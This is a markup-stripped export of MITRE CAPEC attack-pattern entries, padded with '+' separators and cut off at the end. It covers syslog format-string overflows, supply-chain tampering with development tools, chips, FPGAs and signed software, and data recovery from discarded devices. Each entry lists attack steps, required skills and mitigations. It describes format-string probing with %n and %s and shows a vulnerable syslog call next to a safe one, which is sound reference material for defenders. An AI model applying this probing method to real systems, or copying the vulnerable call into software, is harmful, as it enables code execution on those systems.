#indRelatedAttackPatternRelatedAttackPattern40717 + Related_Attack_Pattern_40717 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40718 + Related_Attack_Pattern_40718 + + + + + + + + + + + + + + 135 + + + + + + + + + + + + #indAttackStepAttackStep40721 + Attack_Step_40721 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program to perform the buffer overflow on. In this attack, adversaries look for applications that use syslog() incorrectly.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40726 + Attack_Step_40726 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer. For each user-controllable input that the adversary suspects is vulnerable to format string injection, attempt to inject formatting characters such as %n, %s, etc.. The goal is to manipulate the string creation using these formatting characters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject probe payload which contains formatting characters (%s, %d, %n, etc.) through input parameters.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40732 + Attack_Step_40732 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The formatting characters %s and %d are useful for observing memory and trying to print memory addresses. If an adversary has access to the log being written to they can observer this output and use it to help craft their attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The formatting character %n is useful for adding extra data onto the buffer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep40739 + Attack_Step_40739 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary supplies the program with the crafted format string injection, causing a buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Syslog function is used without specifying a format string argument, allowing user input to be placed direct into the function call as a format string.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40749 + Consequence_40749 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence40756 + Consequence_40756 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40760 + Consequence_40760 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40766 + Consequence_40766 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The code should be reviewed for misuse of the Syslog function call. Manual or automated code review can be used. The reviewer needs to ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, do not use the %n operator in format strings. The following code shows a correct usage of Syslog():&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="good"&gt;syslog(LOG_ERR, "%s", cmdBuf);&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The following code shows a vulnerable usage of Syslog():&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="bad"&gt;syslog(LOG_ERR, cmdBuf);&lt;xhtml:div&gt; + &lt;xhtml:i&gt;// the buffer cmdBuff is taking user supplied data.&lt;/xhtml:i&gt; + &lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote adversaries to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication. See also: CVE-2002-0412</xhtml:div> + + + + + 120 + + + + + 134 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 697 + + + + + + + + + + + + #indTaxonomyMappingFormatString + Format String + + + + + + + + + + + + + + 06 + + + + + Format String + + + + + + + + + + + + #indReferenceReference40800 + Reference_40800 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference40801 + Reference_40801 + + + + + + + + + REF-503 + + + + + + + + + + + + #indReferenceReference40802 + Reference_40802 + + + + + + + + + REF-504 + + + + + + + + + + + + #indReferenceReference40803 + Reference_40803 + + + + + + + + + REF-505 + + + + + + + + + + + + #indReferenceReference40804 + Reference_40804 + + + + + + + + + REF-506 + + + + + + + + + + + + #indContentHistoryContentHistory40806 + Content_History_40806 + + + + + + + + + + + + + + + + #indSubmissionSubmission40807 + Submission_40807 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification40812 + Modification_40812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification40818 + Modification_40818 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification40824 + Modification_40824 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification40830 + Modification_40830 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification40836 + Modification_40836 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Prerequisites, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification40842 + Modification_40842 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification40848 + Modification_40848 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-670 + Software Development Tools Maliciously Altered + + + + + + + + + 670 + + + + + Software Development Tools Maliciously Altered + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with the ability to alter tools used in a development environment causes software to be developed with maliciously modified tools. Such tools include requirements management and database tools, software design tools, configuration management tools, compilers, system build tools, and software performance testing and load testing tools. The adversary then carries out malicious acts once the software is deployed including malware infection of other systems to support further compromises.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40863 + Related_Attack_Pattern_40863 + + + + + + + + + + + + + + 444 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40866 + Related_Attack_Pattern_40866 + + + + + + + + + + + + + + 669 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have access to a targeted developer’s development environment and in particular to tools used to design, create, test and manage software, where the adversary could ensure malicious code is included in software packages built through alteration or substitution of tools in the environment used in the development of software.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40872 + Skill_40872 + + + + + + + + + + + + + + Ability to leverage common delivery mechanisms (e.g., email attachments, removable media) to infiltrate a development environment to gain access to software development tools for the purpose of malware insertion into an existing tool or replacement of an existing tool with a maliciously altered copy. + + + + + + + + + + + + #indConsequenceConsequence40875 + Consequence_40875 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40879 + Consequence_40879 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence40883 + Consequence_40883 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Have a security concept of operations (CONOPS) for the development environment that includes: Maintaining strict security administration and configuration management of requirements management and database tools, software design tools, configuration management tools, compilers, system build tools, and software performance testing and load testing tools.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid giving elevated privileges to developers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to software build tools inside an Integrated Development Environment IDE alters a script used for downloading dependencies from a dependent code repository where the script has been changed to include malicious code implanted in the repository by the adversary.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingTrustedDeveloperUtilitiesProxyExecution + Trusted Developer Utilities Proxy Execution + + + + + + + + + + + + + + 1127 + + + + + Trusted Developer Utilities Proxy Execution + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indReferenceReference40907 + Reference_40907 + + + + + + + + + REF-660 + + + + + + + + + + + + #indReferenceReference40908 + Reference_40908 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference40909 + Reference_40909 + + + + + + + + + REF-667 + + + + + + + + + + + + #indContentHistoryContentHistory40911 + Content_History_40911 + + + + + + + + + + + + + + + + #indSubmissionSubmission40912 + Submission_40912 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40917 + Modification_40917 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated References + + + + + + + + + + + + #indModificationModification40923 + Modification_40923 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-671 + Requirements for ASIC Functionality Maliciously Altered + + + + + + + + + 671 + + + + + Requirements for ASIC Functionality Maliciously Altered + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to functional requirements for an application specific integrated circuit (ASIC), a chip designed/customized for a singular particular use, maliciously alters requirements derived from originating capability needs. In the chip manufacturing process, requirements drive the chip design which, when the chip is fully manufactured, could result in an ASIC which may not meet the user’s needs, contain malicious functionality, or exhibit other anomalous behaviors thereby affecting the intended use of the ASIC.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40938 + Related_Attack_Pattern_40938 + + + + + + + + + + + + + + 447 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have access to a foundry’s or chip maker’s requirements management system that stores customer requirements for ASICs, requirements upon which the design of the ASIC is based.</xhtml:div> + + + + + + + + + + + + #indSkillSkill40944 + Skill_40944 + + + + + + + + + + + + + + An adversary would need experience in designing chips based on functional requirements in order to manipulate requirements in such a way that deviations would not be detected in subsequent stages of ASIC manufacture and where intended malicious functionality would be available to the adversary once integrated into a system and fielded. + + + + + + + + + + + + #indConsequenceConsequence40947 + Consequence_40947 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize DMEA’s (Defense Microelectronics Activity) Trusted Foundry Program members for acquisition of microelectronic components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that each supplier performing hardware development implements comprehensive, security-focused configuration management including for hardware requirements and design.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require that provenance of COTS microelectronic components be known whenever procured.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct detailed vendor assessment before acquiring COTS hardware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to ASIC functionality requirements for various customers, targets a particular customer’s ordered lot of ASICs by altering its functional requirements such that the ASIC design will result in a manufactured chip that does not meet the customer’s capability needs.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference40968 + Reference_40968 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory40970 + Content_History_40970 + + + + + + + + + + + + + + + + #indSubmissionSubmission40971 + Submission_40971 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification40976 + Modification_40976 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated References + + + + + + + + + + + + #indModificationModification40982 + Modification_40982 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-672 + Malicious Code Implanted During Chip Programming + + + + + + + + + 672 + + + + + Malicious Code Implanted During Chip Programming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;During the programming step of chip manufacture, an adversary with access and necessary technical skills maliciously alters a chip’s intended program logic to produce an effect intended by the adversary when the fully manufactured chip is deployed and in operational use. Intended effects can include the ability of the adversary to remotely control a host system to carry out malicious acts.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern40999 + Related_Attack_Pattern_40999 + + + + + + + + + + + + + + 444 + + + + + 688 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have access to a foundry’s or chip maker’s development/production environment where programs for specific chips are developed, managed and uploaded into targeted chips prior to distribution or sale.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41007 + Skill_41007 + + + + + + + + + + + + + + An adversary needs to be skilled in microprogramming, manipulation of configuration management systems, and in the operation of tools used for the uploading of programs into chips during manufacture. Uploading can be for individual chips or performed on a large scale basis. + + + + + + + + + + + + #indConsequenceConsequence41010 + Consequence_41010 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize DMEA’s (Defense Microelectronics Activity) Trusted Foundry Program members for acquisition of microelectronic components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that each supplier performing hardware development implements comprehensive, security-focused configuration management of microcode and microcode generating tools and software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require that provenance of COTS microelectronic components be known whenever procured.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct detailed vendor assessment before acquiring COTS hardware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Following a chip’s production process steps of test and verification and validation of chip circuitry, an adversary involved in the generation of microcode defining the chip’s function(s) inserts a malicious instruction that will become part of the chip’s program. When integrated into a system, the chip will produce an effect intended by the adversary.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference41033 + Reference_41033 + + + + + + + + + REF-662 + + + + + + + + + + + + #indContentHistoryContentHistory41035 + Content_History_41035 + + + + + + + + + + + + + + + + #indSubmissionSubmission41036 + Submission_41036 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification41041 + Modification_41041 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-673 + Developer Signing Maliciously Altered Software + + + + + + + + + 673 + + + + + Developer Signing Maliciously Altered Software + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Software produced by a reputable developer is clandestinely infected with malicious code and then digitally signed by the unsuspecting developer, where the software has been altered via a compromised software development or build process prior to being signed. The receiver or user of the software has no reason to believe that it is anything but legitimate and proceeds to deploy it to organizational systems.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack differs from CAPEC-206, since the developer is inadvertently signing malicious code they believe to be legitimate and which they are unware of any malicious modifications.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41059 + Related_Attack_Pattern_41059 + + + + + + + + + + + + + + 444 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have access to a targeted developer’s software development environment, including to their software build processes, where the adversary could ensure code maliciously tainted prior to a build process is included in software packages built.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41067 + Skill_41067 + + + + + + + + + + + + + + The adversary must have the skills to infiltrate a developer’s software development/build environment and to implant malicious code in developmental software code, a build server, or a software repository containing dependency code, which would be referenced to be included during the software build process. + + + + + + + + + + + + #indConsequenceConsequence41070 + Consequence_41070 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence41076 + Consequence_41076 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Have a security concept of operations (CONOPS) for the IDE that includes: Protecting the IDE via logical isolation using firewall and DMZ technologies/architectures; Maintaining strict security administration and configuration management of configuration management tools, developmental software and dependency code repositories, compilers, and system build tools.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ intrusion detection and malware detection capabilities on IDE systems where feasible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary who has infiltrated an organization’s build environment maliciously alters code intended to be included in a product’s software build via software dependency inclusion, part of the software build process. When the software product has been built, the developer electronically signs the finished product using their signing key. The recipient of the software product, an end user/customer, believes the software to reflect the developer’s intent with respect to functionality unaware of the adversary’s malicious intent harbored within.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indReferenceReference41099 + Reference_41099 + + + + + + + + + REF-658 + + + + + + + + + + + + #indReferenceReference41100 + Reference_41100 + + + + + + + + + REF-659 + + + + + + + + + + + + #indContentHistoryContentHistory41102 + Content_History_41102 + + + + + + + + + + + + + + + + #indSubmissionSubmission41103 + Submission_41103 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification41108 + Modification_41108 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-674 + Design for FPGA Maliciously Altered + + + + + + + + + 674 + + + + + Design for FPGA Maliciously Altered + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary alters the functionality of a field-programmable gate array (FPGA) by causing an FPGA configuration memory chip reload in order to introduce a malicious function that could result in the FPGA performing or enabling malicious functions on a host system. Prior to the memory chip reload, the adversary alters the program for the FPGA by adding a function to impact system operation.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41124 + Related_Attack_Pattern_41124 + + + + + + + + + + + + + + 447 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary would need to have access to FPGA programming/configuration-related systems in a chip maker’s development environment where FPGAs can be initially configured prior to delivery to a customer or have access to such systems in a customer facility where end-user FPGA configuration/reconfiguration can be performed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41130 + Skill_41130 + + + + + + + + + + + + + + An adversary would need to be skilled in FPGA programming in order to create/manipulate configurations in such a way that when loaded into an FPGA, the end user would be able to observe through testing all user-defined required functions but would be unaware of any additional functions the adversary may have introduced. + + + + + + + + + + + + #indConsequenceConsequence41133 + Consequence_41133 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize DMEA’s (Defense Microelectronics Activity) Trusted Foundry Program members for acquisition of microelectronic components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that each supplier performing hardware development implements comprehensive, security-focused configuration management including for FPGA programming and program uploads to FPGA chips.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require that provenance of COTS microelectronic components be known whenever procured.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct detailed vendor assessment before acquiring COTS hardware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary with access and the ability to alter the configuration/programming of FPGAs in organizational systems, introduces a trojan backdoor that can be used to alter the behavior of the original system resulting in, for example, compromise of confidentiality of data being processed.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference41156 + Reference_41156 + + + + + + + + + REF-660 + + + + + + + + + + + + #indReferenceReference41157 + Reference_41157 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference41158 + Reference_41158 + + + + + + + + + REF-662 + + + + + + + + + + + + #indContentHistoryContentHistory41160 + Content_History_41160 + + + + + + + + + + + + + + + + #indSubmissionSubmission41161 + Submission_41161 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification41166 + Modification_41166 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated References + + + + + + + + + + + + #indModificationModification41172 + Modification_41172 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-675 + Retrieve Data from Decommissioned Devices + + + + + + + + + 675 + + + + + Retrieve Data from Decommissioned Devices + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary obtains decommissioned, recycled, or discarded systems and devices that can include an organization’s intellectual property, employee data, and other types of controlled information. Systems and devices that have reached the end of their lifecycles may be subject to recycle or disposal where they can be exposed to adversarial attempts to retrieve information from internal memory chips and storage devices that are part of the system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41189 + Related_Attack_Pattern_41189 + + + + + + + + + + + + + + 116 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern41190 + Related_Attack_Pattern_41190 + + + + + + + + + + + + + + 37 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to have access to electronic data processing equipment being recycled or disposed of (e.g., laptops, servers) at a collection location and the ability to take control of it for the purpose of exploiting its content.</xhtml:div> + + + + + + + + + + + + #indSkillSkill41196 + Skill_41196 + + + + + + + + + + + + + + An adversary may need the ability to mount printed circuit boards and target individual chips for exploitation. + + + + + + + + + + + + #indSkillSkill41197 + Skill_41197 + + + + + + + + + + + + + + An adversary needs the technical skills required to extract solid state drives, hard disk drives, and other storage media to host on a compatible system or harness to gain access to digital content. + + + + + + + + + + + + #indConsequenceConsequence41200 + Consequence_41200 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Backup device data before erasure to retain intellectual property and inside knowledge.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Overwrite data on device rather than deleting. Deleted data can still be recovered, even if the device trash can is emptied. Rewriting data removes any trace of the old data. Performing multiple overwrites followed by a zeroing of the device (overwriting with all zeros) is good practice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a secure erase software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physically destroy the device if it is not intended to be reused. Using a specialized service to disintegrate, burn, melt or pulverize the device can be effective, but if those services are inaccessible, drilling nails or holes, or smashing the device with a hammer can be effective. Do not burn, microwave, or pour acid on a hard drive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physically destroy memory and SIM cards for mobile devices not intended to be reused.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that the user account has been terminated or switched to a new device before destroying.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A company is contracted by an organization to provide data destruction services for solid state and hard disk drives being discarded. Prior to destruction, an adversary within the contracted company copies data from select devices, violating the data confidentiality requirements of the submitting organization.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1266 + + + + + + + + + + + + #indTaxonomyMappingExfiltrationOverPhysicalMedium + Exfiltration Over Physical Medium + + + + + + + + + + + + + + 1052 + + + + + Exfiltration Over Physical Medium + + + + + + + + + + + + #indReferenceReference41228 + Reference_41228 + + + + + + + + + REF-663 + + + + + + + + + + + + #indReferenceReference41229 + Reference_41229 + + + + + + + + + REF-717 + + + + + + + + + + + + #indContentHistoryContentHistory41231 + Content_History_41231 + + + + + + + + + + + + + + + + #indSubmissionSubmission41232 + Submission_41232 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + + + + + + + + #indModificationModification41237 + Modification_41237 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #indModificationModification41243 + Modification_41243 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification41249 + Modification_41249 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated 